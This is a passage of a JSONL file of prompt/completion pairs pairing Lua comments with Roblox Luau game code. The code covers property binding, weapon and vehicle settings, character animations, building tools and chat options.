instance.ClassName, property)\n\t\t\tend\n\t\telse\n\t\t\t-- property is assignable, but this specific assignment failed\n\t\t\t-- this typically implies the wrong type was received\n\t\t\tlocal givenType = typeof(value)\n\t\t\tlocal expectedType = typeof((instance :: any)[property])\n\t\t\tlogError(\"invalidPropertyType\", nil, instance.ClassName, property, expectedType, givenType)\n\t\tend\n\tend\nend\n\nlocal function bindProperty(instance: Instance, property: string, value: PubTypes.CanBeState, cleanupTasks: {PubTypes.Task})\n\tif xtypeof(value) == \"State\" then\n\t\t-- value is a state object - assign and observe for changes\n\t\tlocal willUpdate = false\n\t\tlocal function updateLater()\n\t\t\tif not willUpdate then\n\t\t\t\twillUpdate = true\n\t\t\t\ttask.defer(function()\n\t\t\t\t\twillUpdate = false\n\t\t\t\t\tsetProperty(instance, property, value:get(false))\n\t\t\t\tend)\n\t\t\tend\n\t\tend\n\n\t\tsetProperty(instance, property, value:get(false))\n\t\ttable.insert(cleanupTasks, Observer(value :: any):onChange(updateLater))\n\telse\n\t\t-- value is a constant - assign once only\n\t\tsetProperty(instance, property, value)\n\tend\nend\n\nlocal function applyInstanceProps(props: PubTypes.PropertyTable, applyTo: Instance)\n\tlocal specialKeys = {\n\t\tself = {} :: {[PubTypes.SpecialKey]: any},\n\t\tdescendants = {} :: {[PubTypes.SpecialKey]: any},\n\t\tancestor = {} :: {[PubTypes.SpecialKey]: any},\n\t\tobserver = {} :: {[PubTypes.SpecialKey]: any}\n\t}\n\tlocal cleanupTasks = {}\n\n\tfor key, value in pairs(props) do\n\t\tlocal keyType = xtypeof(key)\n\n\t\tif keyType == \"string\" then\n\t\t\tif key ~= \"Parent\" then\n\t\t\t\tbindProperty(applyTo, key :: string, value, cleanupTasks)\n\t\t\tend\n\t\telseif keyType == \"SpecialKey\" then\n\t\t\tlocal stage = (key :: PubTypes.SpecialKey).stage\n\t\t\tlocal keys = specialKeys[stage]\n\t\t\tif keys == nil then\n\t\t\t\tlogError(\"unrecognisedPropertyStage\", nil, stage)\n\t\t\telse\n\t\t\t\tkeys[key] = value\n\t\t\tend\n\t\telse\n\t\t\t-- we don't recognise what this key is supposed to be\n\t\t\tlogError(\"unrecognisedPropertyKey\", nil, xtypeof(key))\n\t\tend\n\tend\n\n\tfor key, value in pairs(specialKeys.self) do\n\t\tkey:apply(value, applyTo, cleanupTasks)\n\tend\n\tfor key, value in pairs(specialKeys.descendants) do\n\t\tkey:apply(value, applyTo, cleanupTasks)\n\tend\n\n\tif props.Parent ~= nil then\n\t\tbindProperty(applyTo, \"Parent\", props.Parent, cleanupTasks)\n\tend\n\n\tfor key, value in pairs(specialKeys.ancestor) do\n\t\tkey:apply(value, applyTo, cleanupTasks)\n\tend\n\tfor key, value in pairs(specialKeys.observer) do\n\t\tkey:apply(value, applyTo, cleanupTasks)\n\tend\n\n\tapplyTo.Destroying:Connect(function()\n\t\tcleanup(cleanupTasks)\n\tend)\nend\n\nreturn applyInstanceProps\n"} +{"prompt": "--// Bullet Physics", "completion": "\n\tBulletPhysics = Vector3.new(0,0,0); -- Drop fixation: Lower number = more drop\n\tBulletSpeed = 1500; -- Bullet Speed\n\tBulletSpread = 1.5; -- How much spread the bullet has\n\t\n\tExploPhysics = Vector3.new(0,0,0); -- Drop for explosive rounds\n\tExploSpeed = 600; -- Speed for explosive rounds\n\t\n\tBulletDecay = 10000; -- How far the bullet travels before slowing down and being deleted (BUGGY)\n\t"} +{"prompt": "--[[Wheel Alignment]]", "completion": "\n\t--[Don't physically apply alignment to wheels]\n\t--[Values are in degrees]\n\tTune.FCamber\t\t= 1\n\tTune.RCamber\t\t= 1\n\tTune.FCaster\t\t= 0\n\tTune.FToe\t\t\t= 0\n\tTune.RToe\t\t\t= 0\n\t"} +{"prompt": "-- Metric reporting rate in seconds", "completion": "\nlocal METRIC_REPORT_RATE = 3\n\nlocal SenseManager = {}\n"} +{"prompt": "-- all the tweens currently being updated", "completion": "\nlocal allTweens: Types.Set = setmetatable({}, WEAK_KEYS_METATABLE)\n"} +{"prompt": "-------------------------------------------------------------------------------------------\n-------------------------------------------------------------------------------------------", "completion": "\n\n\nfunction onRunning(speed)\n\tif speed>0 then\n\t\tplayAnimation(\"walk\", 0.1, Humanoid)\n\t\tpose = \"Running\"\n\telse\n\t\tplayAnimation(\"idle\", 0.1, Humanoid)\n\t\tpose = \"Standing\"\n\tend\nend\n\nfunction onDied()\n\tpose = \"Dead\"\nend\n\nfunction onJumping()\n\tplayAnimation(\"jump\", 0.1, Humanoid)\n\tjumpAnimTime = jumpAnimDuration\n\tpose = \"Jumping\"\nend\n\nfunction onClimbing(speed)\n\tplayAnimation(\"climb\", 0.1, Humanoid)\n\tsetAnimationSpeed(speed / 12.0)\n\tpose = \"Climbing\"\nend\n\nfunction onGettingUp()\n\tpose = \"GettingUp\"\nend\n\nfunction onFreeFall()\n\tif (jumpAnimTime <= 0) then\n\t\tplayAnimation(\"fall\", fallTransitionTime, Humanoid)\n\tend\n\tpose = \"FreeFall\"\nend\n\nfunction onFallingDown()\n\tpose = \"FallingDown\"\nend\n\nfunction onSeated()\n\tpose = \"Seated\"\nend\n\nfunction onPlatformStanding()\n\tpose = \"PlatformStanding\"\nend\n\nfunction onSwimming(speed)\n\tif speed>0 then\n\t\tpose = \"Running\"\n\telse\n\t\tpose = \"Standing\"\n\tend\nend\n\nfunction getTool()\t\n\tfor _, kid in ipairs(Figure:GetChildren()) do\n\t\tif kid.className == \"Tool\" then return kid end\n\tend\n\treturn nil\nend\n\nfunction getToolAnim(tool)\n\tfor _, c in ipairs(tool:GetChildren()) do\n\t\tif c.Name == \"toolanim\" and c.className == \"StringValue\" then\n\t\t\treturn c\n\t\tend\n\tend\n\treturn nil\nend\n\nfunction animateTool()\n\t\n\tif (toolAnim == \"None\") then\n\t\tplayToolAnimation(\"toolnone\", toolTransitionTime, Humanoid)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Slash\") then\n\t\tplayToolAnimation(\"toolslash\", 0, Humanoid)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Lunge\") then\n\t\tplayToolAnimation(\"toollunge\", 0, Humanoid)\n\t\treturn\n\tend\nend\n\nfunction moveSit()\n\tRightShoulder.MaxVelocity = 0.15\n\tLeftShoulder.MaxVelocity = 0.15\n\tRightShoulder:SetDesiredAngle(3.14 /2)\n\tLeftShoulder:SetDesiredAngle(-3.14 /2)\n\tRightHip:SetDesiredAngle(3.14 /2)\n\tLeftHip:SetDesiredAngle(-3.14 /2)\nend\n\nlocal lastTick = 0\n\nfunction move(time)\n\tlocal amplitude = 1\n\tlocal frequency = 1\n \tlocal deltaTime = time - lastTick\n \tlastTick = time\n\n\tlocal climbFudge = 0\n\tlocal setAngles = false\n\n \tif (jumpAnimTime > 0) then\n \t\tjumpAnimTime = jumpAnimTime - deltaTime\n \tend\n\n\tif (pose == \"FreeFall\" and jumpAnimTime <= 0) then\n\t\tplayAnimation(\"fall\", fallTransitionTime, Humanoid)\n\telseif (pose == \"Seated\") then\n\t\tstopAllAnimations()\n\t\tmoveSit()\n\t\treturn\n\telseif (pose == \"Running\") then\n\t\tplayAnimation(\"walk\", 0.1, Humanoid)\n\telseif (pose == \"Dead\" or pose == \"GettingUp\" or pose == \"FallingDown\" or pose == \"Seated\" or pose == \"PlatformStanding\") then"} +{"prompt": "--UpdateVP.Parent.Music.Changed:Connect(UpdateText)", "completion": "\nUpdateText()\n"} +{"prompt": "-- Some errors contain not only line numbers in stack traces\n-- e.g. SyntaxErrors can contain snippets of code, and we don't\n-- want to trim those, because they may have pointers to the column/character\n-- which will get misaligned.", "completion": "\nlocal function trimPaths(string_: string): string\n\t-- ROBLOX deviation: match both since Lua doesn't have alternations\n\tif string_:find(STACK_PATH_REGEXP) or string_:find(STACK_PATH_REGEXP_NATIVE) then\n\t\treturn trim(string_)\n\tend\n\treturn string_\nend\n"} +{"prompt": "--dynamite", "completion": "\nlocal previousExplodedCart\nfor i, y in pairs(game.Workspace.ActivationThings.Explosions:GetChildren()) do\n\tif y:IsA(\"BasePart\") then\n\t\ty.Touched:Connect(function(hit)\n\t\t\tlocal cart\n\t\t\tif hit and hit.Parent and hit.Parent.Parent and hit.Parent.Parent:IsDescendantOf(workspace.Carts)\tthen\n\t\t\t\tcart = hit.Parent.Parent\n\t\t\telseif hit and hit.Parent and hit.Parent.Parent.Parent and hit.Parent.Parent.Parent:IsDescendantOf(workspace.Carts) then\n\t\t\t\tcart = hit.Parent.Parent.Parent\n\t\t\tend\n\t\t\tif cart and previousExplodedCart ~= cart then\n\t\t\t\tpreviousExplodedCart = cart\n\t\t\t\tfunThings.ExplodeCart(cart)\n\t\t\tend\n\t\tend)\n\tend\nend\n\n\n"} +{"prompt": "-- Initialize the tool", "completion": "\nlocal RotateTool = {\n\tName = 'Rotate Tool';\n\tColor = BrickColor.new 'Bright green';\n\n\t-- Default options\n\tIncrement = 15;\n\tPivot = 'Center';\n}\n\nRotateTool.ManualText = [[Rotate Tool \ud83d\udee0\nAllows you to rotate parts.
\nPivot\nThis option lets you choose what to rotate the parts around.
\n \u2022 CENTER \u2014 Relative to the center of the selection\n \u2022 LOCAL \u2014 Each part around its own center\n \u2022 LAST \u2014 Relative to the center of the last part clicked
\n\nTIP: Click on any part to focus the handles on it.
\nTIP: Hit the Enter key to switch between Pivot modes quickly.
\n\nIncrement\nLets you choose how many degrees to rotate by.
\n\nTIP: Hit the \u2013 key to quickly type increments.
\n\nTIP: Use your number pad to rotate exactly by the current increment. Holding Shift reverses the increment.
\n \u2022 4 & 6 \u2014 Y axis (green)\n \u2022 1 & 9 \u2014 Z axis (blue)\n \u2022 2 & 8 \u2014 X axis (red)
\n\nSnapping\nPress R and click on a part's snap point to rotate around it.\n]]\n"} +{"prompt": "---------------\n--// Functions\n---------------", "completion": "\nlocal function dayMode()\n\t\nend\n\nlocal function nightMode()\n\t\nend\n\n\n"} +{"prompt": "-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote", "completion": "\nlocal emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false}\n\nmath.randomseed(tick())\n\nfunction findExistingAnimationInSet(set, anim)\n\tif set == nil or anim == nil then\n\t\treturn 0\n\tend\n\t\n\tfor idx = 1, set.count, 1 do \n\t\tif set[idx].anim.AnimationId == anim.AnimationId then\n\t\t\treturn idx\n\t\tend\n\tend\n\t\n\treturn 0\nend\n\nfunction configureAnimationSet(name, fileList)\n\tif (animTable[name] ~= nil) then\n\t\tfor _, connection in pairs(animTable[name].connections) do\n\t\t\tconnection:disconnect()\n\t\tend\n\tend\n\tanimTable[name] = {}\n\tanimTable[name].count = 0\n\tanimTable[name].totalWeight = 0\t\n\tanimTable[name].connections = {}\n\n\tlocal allowCustomAnimations = true\n\n\tlocal success, msg = pcall(function() allowCustomAnimations = game:GetService(\"StarterPlayer\").AllowCustomAnimations end)\n\tif not success then\n\t\tallowCustomAnimations = true\n\tend\n\n\t-- check for config values\n\tlocal config = script:FindFirstChild(name)\n\tif (allowCustomAnimations and config ~= nil) then\n\t\ttable.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))\n\t\ttable.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))\n\t\t\n\t\tlocal idx = 0\n\t\tfor _, childPart in pairs(config:GetChildren()) do\n\t\t\tif (childPart:IsA(\"Animation\")) then\n\t\t\t\tlocal newWeight = 1\n\t\t\t\tlocal weightObject = childPart:FindFirstChild(\"Weight\")\n\t\t\t\tif (weightObject ~= nil) then\n\t\t\t\t\tnewWeight = weightObject.Value\n\t\t\t\tend\n\t\t\t\tanimTable[name].count = animTable[name].count + 1\n\t\t\t\tidx = animTable[name].count\n\t\t\t\tanimTable[name][idx] = {}\n\t\t\t\tanimTable[name][idx].anim = childPart\n\t\t\t\tanimTable[name][idx].weight = newWeight\n\t\t\t\tanimTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight\n\t\t\t\ttable.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))\n\t\t\t\ttable.insert(animTable[name].connections, childPart.ChildAdded:connect(function(property) configureAnimationSet(name, fileList) end))\n\t\t\t\ttable.insert(animTable[name].connections, childPart.ChildRemoved:connect(function(property) configureAnimationSet(name, fileList) end))\n\t\t\tend\n\t\tend\n\tend\n\t\n\t-- fallback to defaults\n\tif (animTable[name].count <= 0) then\n\t\tfor idx, anim in pairs(fileList) do\n\t\t\tanimTable[name][idx] = {}\n\t\t\tanimTable[name][idx].anim = Instance.new(\"Animation\")\n\t\t\tanimTable[name][idx].anim.Name = name\n\t\t\tanimTable[name][idx].anim.AnimationId = anim.id\n\t\t\tanimTable[name][idx].weight = anim.weight\n\t\t\tanimTable[name].count = animTable[name].count + 1\n\t\t\tanimTable[name].totalWeight = animTable[name].totalWeight + anim.weight\n\t\tend\n\tend\n\t\n\t-- preload anims\n\tfor i, animType in pairs(animTable) do\n\t\tfor idx = 1, animType.count, 1 do\n\t\t\tif PreloadedAnims[animType[idx].anim.AnimationId] == nil then\n\t\t\t\tHumanoid:LoadAnimation(animType[idx].anim)\n\t\t\t\tPreloadedAnims[animType[idx].anim.AnimationId] = true\n\t\t\tend\t\t\t\t\n\t\tend\n\tend\nend\n"} +{"prompt": "--partClone.Anchored = true --NOTE: DOES NOT WORK if part is anchored!", "completion": "\nDebrisService:AddItem(partClone, 0.1)\npartClone.Parent = Workspace\npartClone.Touched:connect(OnTouched)\n"} +{"prompt": "--Variables", "completion": "\nlocal Seats = {}\nlocal EnterKeyDown = false\nlocal AdornedSeat = nil\n"} +{"prompt": "--// Handling Settings\t\t", "completion": "\n\tFirerate = 60 / 1000; -- 60 = 1 Minute, 1000 = Rounds per that 60 seconds. DO NOT TOUCH THE 60!\n\t\n\tFireMode = 2; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive\n\t"} +{"prompt": "--[[\nTheNexusAvenger\n\nRuns the fire animation.\n--]]", "completion": "\n\nlocal Resources = require(script.Parent)\nlocal Configuration = require(Resources:GetResource(\"Configuration\"))\n\nlocal ANIMATION_TIME = Configuration.ANIMATION_TIME\nlocal ANIMATION_DELAY_TIME = Configuration.ANIMATION_DELAY_TIME\nlocal RELOAD_TIME = Configuration.RELOAD_TIME\n\n\n\nlocal EggCreator = {}\n\nlocal Tool = script.Parent.Parent\nlocal Egg = Tool:WaitForChild(\"Egg\")\nlocal Body = Tool:WaitForChild(\"Body\")\nlocal ReleaseMotor = Body:WaitForChild(\"Release\")\n\n\n"} +{"prompt": "--- Handler", "completion": "\n\nfunction Module.Start()\n\tRunService:BindToRenderStep(\"ViewportResizer\", Enum.RenderPriority.Camera.Value + 1, function()\n\t\tCamera.CFrame = Camera.CFrame * Module._getOffset()\n\tend)\nend\n\nfunction Module.Stop()\n\tRunService:UnbindFromRenderStep(\"ViewportResizer\")\nend\n\nreturn Module\n"} +{"prompt": "-- enumName, enumValue, additionalProperty", "completion": "\nreturn {\n\t{\"WholeBody\", 1}, -- Multiple checks will be casted over an entire players character\n\t{\"Centre\", 2}, -- A singular check will be performed on the players HumanoidRootPart\n\t--{\"Automatic\", 3}, -- REMOVED DUE TO UNECESSARY COMPLEXITY. ZonePlus will dynamically switch between 'WholeBody' and 'Centre' depending upon the number of players in a server (this typically only occurs for servers with 100+ players when volume checks begin to exceed 0.5% in script performance).\n}\n"} +{"prompt": "----- EXAMPLE CODE -----", "completion": "\nlocal weldList1 = WeldAllToPart(P, P.Engine) -- Weld a model, returns a list of welds.\nUnanchorWeldList(weldList1) -- Unanchores the list of welds given.\n\nscript:Destroy() -- Clean up this script.\n"} +{"prompt": "-- When a player clicks on the sphere, they will be asked if they wish to purchase the DevProduct", "completion": "\nscript.Parent.ClickDetector.MouseClick:connect(function(player)\n\tGame:GetService(\"MarketplaceService\"):PromptProductPurchase(player, bloxyColaId)\nend)\n"} +{"prompt": "--CasingMesh.Scale = Vector3.new(.75,.75,.75)", "completion": "\nCasingMesh.Parent = CasingBase\n\nfunction OnFire()\n\tif IsShooting then return end\n\tif MyHumanoid and MyHumanoid.Health > 0 then\n\t\tif RecoilTrack and AmmoInClip > 0 then\n\t\t\t\n\t\tend\n\t\tIsShooting = true\n\t\tif AmmoInClip > 0 and not Reloading then\n\t\t\t--if RecoilTrack then RecoilTrack:Play() end\n\t\t\tif Handle:FindFirstChild('FireSound') then\n\t\t\t\tHandle.FireSound:Play()\n\t\t\tend\n\t\t\tCreateFlash()\n\t\t\tTool.SetIcon:FireClient(game.Players:GetPlayerFromCharacter(Tool.Parent), \"rbxasset://textures\\\\GunWaitCursor.png\")\n\t\t\tlocal targetPoint = MOUSE_TARGET\n\t\t\tfor i = 1, BulletCount do\n\t\t\t\tlocal shootDirection = (targetPoint - Handle.Position).unit\n\t\t\t\t-- Adjust the shoot direction randomly off by a little bit to account for recoil\n\t\t\t\t-- moves random*spread in a random angle from center shot point (center bias)\n\t\t\t\tshootDirection = ((CFrame.new(Vector3.new(0,0,0),shootDirection) * CFrame.Angles(0,0,math.random()*2*math.pi))*CFrame.Angles(math.random()*Spread,0,0)).lookVector\n\t\t\t\tlocal hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range)\n\t\t\t\tlocal bullet\n\t\t\t\t-- Create a bullet here\n\t\t\t\tif hitObject then\n\t\t\t\t\tbullet = CreateBullet(bulletPos, hitObject)\n\t\t\t\tend\n\t\t\t\tif hitObject and hitObject.Parent then\n\t\t\t\t\tlocal hitHumanoid = hitObject.Parent:FindFirstChild(\"Humanoid\") or hitObject.Parent.Parent:FindFirstChild'Humanoid'\n\t\t\t\t\tif hitHumanoid then\n\t\t\t\t\t\tlocal hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent)\n\t\t\t\t\t\tif not GLib.IsTeammate(MyPlayer, hitPlayer) then\n\t\t\t\t\t\t\tGLib.TagHumanoid(MyPlayer, hitHumanoid, 1)\n\t\t\t\t\t\t\thitHumanoid:TakeDamage(Damage)\n\t\t\t\t\t\t\tif bullet then\n\t\t\t\t\t\t\t\tbullet:Destroy()\n\t\t\t\t\t\t\t\tbullet = nil\n\t\t\t\t\t\t\t\t--bullet.Transparency = 1\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tlocal casing = CasingBase:Clone()\n\t\t\tcasing.Position = Tool.Handle.Position + Vector3.new(0,1,0)\n\t\t\tcasing.Velocity = (Vector3.new((math.random()-.5),(.5+math.random()),(math.random()-.5)) - 1.5*(Tool.Handle.CFrame * CFrame.Angles(0,math.pi/4,0)).lookVector)*20\n\t\t\tDebrisService:AddItem(casing, 2.5)\n\t\t\tcasing.Parent = game.Workspace\n\n\t\t\tAmmoInClip = AmmoInClip - 1\n\t\t\tUpdateAmmo(AmmoInClip)\n\t\t\twait(FireRate-.2)\n\n\t\t\tif AmmoInClip > 0 then\n\t\t\t\tif PumpTrack then\n\t\t\t\t\tPumpTrack:Play()\n\t\t\t\tend\n\t\t\t\tif Handle:FindFirstChild('PumpSound') then\n\t\t\t\t\tHandle.PumpSound:Play()\n\t\t\t\tend\n\t\t\t\twait(.2)\n\t\t\tend\n\t\t\tTool.SetIcon:FireClient(game.Players:GetPlayerFromCharacter(Tool.Parent), \"rbxasset://textures\\\\GunCursor.png\")\n\t\tend\t\t\n\t\tIsShooting = false\n\t\tif AmmoInClip == 0 then\n\t\t\tReload()\n\t\tend\n\t\tif RecoilTrack then\n\t\t\tRecoilTrack:Stop()\n\t\tend\n\tend\nend\n\nfunction UpdateAmmo(value)\n\tif WeaponGui and WeaponGui:FindFirstChild('AmmoHud') and WeaponGui.AmmoHud:FindFirstChild('ClipAmmo') then\n\t\tWeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip\n\tend\n\t--if WeaponGui and WeaponGui:FindFirstChild('AmmoHud') and WeaponGui.AmmoHud:FindFirstChild('TotalAmmo') then\n\t--\tWeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo\n\t--end\nend\n\n\nfunction OnMouseDown()\n\tLeftButtonDown = true\n\tOnFire()\nend\n\nfunction OnMouseUp()\n\tLeftButtonDown = false\nend\n\nfunction OnKeyDown(key)\n\tif string.lower(key) == 'r' then\n\t\tReload()\n\tend\nend\n\nTool.Input.OnServerEvent:connect(function(client, action, ...)\n\tif client.Character == Tool.Parent then\n\t\tif action == 'Mouse1' then\n\t\t\tlocal down, pos = ...\n\t\t\t\n\t\t\tif down then\n\t\t\t\tOnMouseDown()\n\t\t\telse\n\t\t\t\tOnMouseUp()\n\t\t\tend\n\t\telseif action == 'Key' then\n\t\t\tlocal down, key = ...\n\t\t\t\n\t\t\tif down then\n\t\t\t\tOnKeyDown(key)\n\t\t\tend\n\t\telseif action == 'MouseMove' then\n\t\t\tlocal pos = ...\n\t\t\t\n\t\t\tMOUSE_TARGET = pos\n\t\tend\n\tend\nend)\n\n\nfunction OnEquipped()\n\tEquipAnim = WaitForChild(Tool, 'Equip')\n\tPumpAnim = WaitForChild(Tool, 'Reload')\n\tFireSound = WaitForChild(Handle, 'FireSound')\n\n\tMyCharacter = Tool.Parent\n\tMyPlayer = game:GetService('Players'):GetPlayerFromCharacter(MyCharacter)\n\tMyHumanoid = MyCharacter:FindFirstChild('Humanoid')\n\tMyTorso = MyCharacter:FindFirstChild('Torso')\n\tWeaponGui = WaitForChild(Tool, 'WeaponHud'):Clone()\n\tif WeaponGui and MyPlayer then\n\t\tWeaponGui.Parent = MyPlayer.PlayerGui\n\t\tUpdateAmmo(AmmoInClip)\n\tend\n\tif EquipAnim then\n\t\tTool.Grip = CFrame.new(0.132808685, 0.00749024749, 0.526850462, 0.925221086, 0.000443253666, 0.379427731, 0.00859767944, 0.999718785, -0.0221330915, -0.379331142, 0.0237402022, 0.924956799)\n\t\tEquipTrack = MyHumanoid:LoadAnimation(EquipAnim)\n\t\tEquipTrack:Play()\n\tend\n\tif PumpAnim then\n\t\tPumpTrack = MyHumanoid:LoadAnimation(PumpAnim)\n\tend\n\n\tTool.SetIcon:FireClient(game.Players:GetPlayerFromCharacter(Tool.Parent), \"rbxasset://textures\\\\GunCursor.png\")\nend\n\n"} +{"prompt": "-- Initialize resize tool", "completion": "\nlocal ResizeTool = require(CoreTools.ResizeTool)\nCore.AssignHotkey('X', Core.Support.Call(Core.EquipTool, ResizeTool));\nCore.Dock.AddToolButton(Core.Assets.ResizeIcon, 'X', ResizeTool, 'ResizeInfo');\n"} +{"prompt": "--------------| MODIFY COMMANDS |--------------", "completion": "\nSetCommandRankByName = {\n\t--[\"jump\"] = \"VIP\";\n};\t\nSetCommandRankByTag = {\n\t--[\"abusive\"] = \"Admin\";\n};\n\n\n\n\n\n\n\n\n};\n\n"} +{"prompt": "--- Replace with true/false to force the chat type. Otherwise this will default to the setting on the website.", "completion": "\nmodule.BubbleChatEnabled = true\nmodule.ClassicChatEnabled = false"} +{"prompt": "--Loop For Making Rays For The Bullet's Trajectory", "completion": "\nfor i = 1, 30 do\n\tlocal thisOffset = offset + Vector3.new(0, yOffset*(i-1), 0)\n\tlocal travelRay = Ray.new(point1,thisOffset)\n\tlocal hit, position = workspace:FindPartOnRay(travelRay, parts.Parent)\n\n\tlocal distance \t\t= (position - point1).magnitude\n\tround.Size\t\t\t\t= Vector3.new(.6, distance, .6)\n\tround.CFrame\t\t\t= CFrame.new(position, point1)\n\t\t\t\t\t\t\t\t* CFrame.new(0, 0, -distance/2)\n\t\t\t\t\t\t\t\t* CFrame.Angles(math.rad(90),0,0)\n\tround.Parent\t\t\t= workspace\n\tpoint1\t\t\t\t\t= point1 + thisOffset\n\t\n\t\n\n\tif hit then\n\t\tround:remove()\n\t\tlocal e = Instance.new(\"Explosion\")\n\t\te.BlastRadius = 5\n\t\te.BlastPressure = 0\n\t\te.Position = position\n\t\te.Parent = workspace\n\t\te.DestroyJointRadiusPercent = 0\n\t\t\n\t\t\n\n\t\t\tif hit and hit.Parent then\n\t\tif hit.Parent:FindFirstChild(\"Humanoid\") then\n\t\t\treturn hit.Parent.Humanoid\n\t\telseif hit.Parent.Parent:FindFirstChild(\"Humanoid\") then\n\t\t\treturn hit.Parent.Parent.Humanoid\n\t\t\n\t\telseif (hit.Parent.Name == \"Hull\") or (hit.Parent.Name == \"Turret\") or (hit.Parent.Name == \"Gun\") or (hit.Parent.Name == \"Parts\") then\n\t\t\tprint(\"You Have Damaged a Vehicle\")\n\t\t\tlocal HitSound = hit.Parent:findFirstChild(\"Pen\"):Clone()\n\t\t\tHitSound.Parent = hit\n\t\t\tHitSound:Play()\n\t\t\thit.Parent.Parent:findFirstChild(\"Damage\").Value = hit.Parent.Parent:findFirstChild(\"Damage\").Value - dealingdamage\n\t\t\tif hit.Parent.Parent:findFirstChild(\"Damage\").Value<1 and hit.Parent.Parent:findFirstChild(\"Destroyed\").Value == false then\n\t\t\t\t\n\t\t\tlocal DestroyScript = hit.Parent.Parent:findFirstChild(\"DestroyScript\"):clone()\n\t\t\tDestroyScript.Parent = hit.Parent.Parent\n\t\t\tDestroyScript.Disabled = false\t\t\n\t\t\n\t\t\tprint(\"Vehicle Disabled\")\n\t\t\n\t\t\n\t\t\tend\n\n\t\telseif hit.Name == \"Left Arm\" or hit.Name == \"Left Leg\" or hit.Name == \"Right Arm\" or hit.Name == \"Right Leg\" or hit.Name == \"Torso\" or hit.Name == \"HumanoidRootPart\" then\n\t\t\thit.Parent:findFirstChild(\"Humanoid\").Health = hit.Parent:findFirstChild(\"Humanoid\").Health - dealingdamage\n\t\t\tprint(\"Direct Hit a Player lmao\")\n\t\t\t\n\t\telseif hit.Parent.Name == \"Face\" then\n\t\t\thit.Parent.Parent:findFirstChild(\"Humanoid\").Health = hit.Parent.Parent:findFirstChild(\"Humanoid\").Health - dealingdamage\n\t\t\tprint(\"Direct Hit a Morph of a Player lmao\")\n\t\t\t\n\t\t\t\t\n\t\t\t\n\t\tend\n\t\tend\n\n\t\t\n\n\t\tlocal players = game.Players:getChildren()\n\t\tfor i = 1, #players do\n\t\t\n\t\t\t\n\t\t\t-- if players[i].TeamColor ~= script.Parent.Parent.Tank.Value then --if he's not an ally\n\t\t\t\tcharacter = players[i].Character\n\t\t\t\ttorso = character:findFirstChild'Torso'\n\t\t\t\tif character and torso then\n\t\t\t\t\t\t\n\t\t\t\t\t\ttorsoPos = torso.Position\n\t\t\t\t\t\torigPos = round.Position\n\t\t\t\t\t\t\n\t\t\t\t\t\tlocal ray = Ray.new(origPos, torsoPos-origPos)\n\t\t\t\t\t\tlocal hit, position = game.Workspace:FindPartOnRayWithIgnoreList(ray,ignoreList)\n\t\t\t\t\t\tif hit then\n\t\t\t\t\t\t\tif hit.Parent == character then\n\t\t\t\t\t\t\t\thuman = hit.Parent:findFirstChild(\"Humanoid\")\n\t\t\t\t\t\t\t\thuman2 = hit.Parent.Parent:findFirstChild(\"Humanoid\")\n\t\t\t\t\t\t\t\tif human then\n\t\t\t\t\t\t\t\t\tdistance = (position-origPos).magnitude"} +{"prompt": "--[[\n A Base State class with boilerplate enter and leave functions. Streamlines State scripts.\n]]", "completion": "\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\")\n\nlocal ClassUtils = require(ReplicatedStorage.Dependencies.LuaUtils.ClassUtils)\nlocal Logger = require(ReplicatedStorage.Dependencies.GameUtils.Logger)\n\nlocal BaseState = ClassUtils.makeClass(\"BaseState\")\n"} +{"prompt": "--[ Hooks ]--\n-- Controls", "completion": "\nMouse.KeyDown:connect(function(Key)\n\tif (Hold ~= nil) then return end\n\tif (string.upper(Key) ~= \"C\") and (string.lower(Key) ~= \" \") then return end\n\tHold = true\n\n\tif (Torso:FindFirstChild(\"LegWeld\") == nil) and (string.lower(Key) ~= \" \") then\n\t\t-- Right Leg\n\t\tRH.Part1 = nil\n\t\tCreateWeld(RL, CFrame.new(-0.5, 0.495, 1.25)* CFrame.Angles(math.rad(90), 0, 0))\n\n\t\t-- Left Leg\n\t\tLH.Part1 = nil\n\t\tCreateWeld(LL, CFrame.new(0.5, 0.495, 1.25) * CFrame.Angles(math.rad(90), 0, 0))\n\t\t\n\t\t-- Lower Character\n\t\tRJ.C0 = CFrame.new(0, -1.25, 0) * CFrame.Angles(0, 0, 0)\n\t\tRJ.C1 = CFrame.new(0, 0, 0) * CFrame.Angles(0, 0, 0)\n\t\t\n\t\t-- Slow Walk Speed\n\t\tHumanoid.WalkSpeed = 5\n\telse\n\t\tStandUp()\n\n\t\t-- Normal Walk Speed\n\t\tHumanoid.WalkSpeed = 16\n\tend\n\n\twait(0.5)\n\n\tHold = nil\nend)\n\nMouse.KeyUp:connect(function(Key)\n\tif (Hold ~= nil) then return end\n\tif (string.upper(Key) ~= \"C\") or (HoldKey.Value == false) then return end\n\tHold = true\n\n\tStandUp()\n\n\t-- Normal Walk Speed\n\tHumanoid.WalkSpeed = 16\n\n\twait(0.5)\n\n\tHold = nil\nend)\n"} +{"prompt": "--// Give the Tool to the Player", "completion": "\nlocal GiveTool = function(Player, ToolName, Retain)\n\tlocal Tool = GetTool(ToolName)\n\t\n\tif Retain == true then\n\t\tTool:Clone().Parent = Player:WaitForChild(\"StarterGear\")\n\tend\n\t\n\tTool.Parent = Player:WaitForChild(\"Backpack\")\nend\n"} +{"prompt": "--- Alias for DoCleaning()\n-- @function Destroy", "completion": "\nMaid.destroy = Maid.doCleaning\nMaid.clean = Maid.doCleaning\n\nreturn Maid\n"} +{"prompt": "--[[\n\tGet the afterAll hooks from the current level.\n]]", "completion": "\nfunction LifecycleHooks:getAfterAllHooks()\n\treturn 